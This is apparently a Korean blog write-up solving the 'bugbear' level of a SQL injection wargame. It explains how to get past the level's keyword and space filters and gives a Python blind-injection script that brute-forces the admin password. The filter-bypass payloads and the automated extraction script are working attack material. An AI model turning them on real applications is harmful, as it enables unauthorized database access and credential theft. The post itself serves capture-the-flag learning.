일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 대칭형 알고리즘
- proc contents
- filter()
- mutate()
- summarize()
- sample_n()
- arrange()
- groupe_by()
- distinct()
- select()
- AES
- dplyr
- samp;e_frac()
- Today
- Total
Gae Ko's Blog
los : bugbear 본문
[코드분석]
<?php
include "./config.php";
login_chk();
dbconnect();
↑DB와 연결을 위한 코드
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
↑preg_match를 통한 필터링
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
↑쿼리 실행
$_GET[pw] = addslashes($_GET[pw]);
↑addslashes()함수 작동
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
↑진짜 쿼리 실행
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
↑문제의 포인트
[내 풀이]
맨 마지막 코드를 통해 Blind SQL injection임을 알 수 있다.
그리고 앞의 문제인 los : darkknight 에서 입력받은 no값에 or과 and를 그리고 공백과 like 와 0x를 필터링해준다는 것만 추가되었다.
or 과 and는 앞에서 게속 해왔던거처럼 ||와 &&로 대체할 수 있다.
0x를 필터링한다는 것은 싱글쿼터를 막았을 경우 0x를 이용해 아스키코드값을 이용해 값을 넘기는 법을 막는다는 뜻으로
값을 넣는 새로운 다른 방법으로 char함수를 이용해서 각 글자의 아스키코드값의 10진수를 차례로 인수로 하는 방법있다.
즉 id='admin' 을 id=char(97, 100, 109, 105, 110) 으로 표현가능하다.
그리고 공백을 우회하는 방법은 지난 문제 los : wolfman 에서 다룬 것으로
1) /**/ : 주석을 통해 공백을 대체할 수 있음 ex) pw='/**/or/**/1=1%23
2) ( ) : 괄호를 통해 공백을 대체할 수 있음 ex) pw='(or)1=(1)%23
3) %09, %0b, %0c, %0d, %0a 등등
2) 방법은 괄호를 필터링한다는 점에서 탈락이므로 1)와 3)방법이 있는데
주석을 이용해 공백을 대체해 보았다.
해결 방법으로 앞의 풀이에서 or 과 and과 공백 그리고 싱글쿼터와 동일한 기능을 하는 문자열로 대체해주고 싱글쿼터와 0x를 사용하지 않는 방법을 통해 입력값을 넣도록 수정하면 된다.
이걸 통해 공백대신 /**/을 사용해도 됨을 알 수 있었다. ( /는 특수기호이므로 url인코딩하여 %2f 로 입력해야함)
그리고 pw의 길이도 8임을 알 수 있다.
길이를 구했으면 정확한 pw의 값을 구할 수 있다.
앞에서 계속해왔던 것처럼 길이를 구하는 것과 pw의 정확한 값을 알아내는 건 손으로 하나하나 값을 대입해봐서 결과에따라 알아내는 법으로 수작업을 해야한다
그러므로 자동화툴을 사용하여 id='admin'인 정확한 pw값을 구하여보자.
( los : darkknight 문제에서 사용한 파이썬 코드에서 이 문제에 맞게 좀 수정하였다.)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | import urllib2, urllib, requests, time flag = '' length= 0 session = dict(PHPSESSID="vee4ea8c3gtsmr8vjn9skp6ur0") # find the length of PW for i in range(0, 20): try: r = requests.post("https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1%2f**%2f%7c%7c%2f**%2fid%2f**%2fin%2f**%2f%28char%2897,100,109,105,110%29%29%2f**%2f%26%26%2f**%2flength%28pw%29%2f**%2fin%2f**%2f%28"+str(i)+"%29%23", cookies=session) except: print "exception" continue if 'Hello admin' in r.text: #true length = i break print "[+] Length of admin pw : " + str(length) for j in range(1, length+1): for i in range(48, 126): try: r = requests.post("https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1%2f**%2f%7c%7c%2f**%2fid%2f**%2fin%2f**%2f%28char%2897,100,109,105,110%29%29%2f**%2f%26%26%2f**%2fright%28left%28pw,"+str(j)+"%29,1%29%2f**%2fin%2f**%2f%28char%28"+ str(i)+"%29%29%23", cookies=session) except: print "exception" continue if 'Hello admin' in r.text: flag = flag + chr(i) print "[+] finding pw : " + flag break time.sleep(0.1) print "[+] pw of admin : " + flag | cs |
이 코드를 실행해보면
결론 : id 가 'admin'인 pw는 735c2773
[p.s]
char( ) 함수 ASCII코드를 문자열로 변환해주는 함수이고,
ascii( ) 함수는 가장 왼쪽 문자의 ASCII코드값을 반환해주는 함수이다.
교육서버뿐만아니라 저 url에서도 공백대신 실패. 왜?
'웹해킹 > [los] Lord of SQL' 카테고리의 다른 글
los : assassin (0) | 2017.08.26 |
---|---|
los : giant (0) | 2017.08.17 |
los : darkknight (0) | 2017.08.17 |
los : golem (0) | 2017.08.17 |
los : skeleton (0) | 2017.08.17 |